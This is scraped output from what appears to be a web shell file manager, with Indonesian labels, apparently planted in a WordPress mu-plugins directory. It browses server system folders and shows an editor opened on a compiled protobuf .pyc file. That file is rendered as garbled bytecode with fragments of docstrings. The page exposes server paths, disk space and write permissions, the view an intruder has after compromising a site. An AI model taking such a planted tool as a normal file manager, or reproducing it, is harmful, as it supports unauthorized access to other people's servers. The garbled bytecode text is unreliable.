📂 Advanced File Manager
Multi-Root Navigation System
⚡ Quick Jump
Server (/)
Home (/home)
Var_www (/var/www)
Current (/home4/shelley/public_html/shelleycutler.com/wp-content/mu-plugins)
📍 Go
⬆ Ke Atas
🏠 Root Server
🏠 Root App
🔄 Refresh
📀 /
›
usr
›
libexec
›
oracle-cloud-agent
›
plugins
›
osms
›
google
›
📁 protobuf
📍
Lokasi:
/usr/libexec/oracle-cloud-agent/plugins/osms/google/protobuf
💾
Free:
45.8 GB
⚠️ Direktori ini
tidak writable
.
✏️ Mengedit: message_factory.pyc
a K��f� � @ sz d Z dZddlmZ ddlmZ ddlmZ e�� dkrFddlm Z nddlmZ e jZ G d d � d e�Ze� Zdd� Zd S )ao Provides a factory class for generating dynamic messages. The easiest way to use this class is if you have access to the FileDescriptor protos containing the messages you want to create you can just do the following: message_classes = message_factory.GetMessages(iterable_of_file_descriptors) my_proto_instance = message_classes['some.proto.package.MessageName']() z"matthewtoia@google.com (Matt Toia)� )�api_implementation)�descriptor_pool)�message�cpp)�cpp_message)�python_messagec @ s* e Zd ZdZd dd�Zdd� Zdd� ZdS ) �MessageFactoryz@Factory for creating Proto2 messages from descriptors in a pool.Nc C s |p t �� | _i | _dS )zInitializes a new factory.N)r �DescriptorPool�pool�_classes)�selfr � r ��/sparta/input/_build_configuration/image_build+validate/lib/bmcenv/lib64/python3.9/site-packages/google/protobuf/message_factory.py�__init__; s zMessageFactory.__init__c C s� || j vr�|j}ttu r&|j�dd�}t|tjf|dd��}|| j |<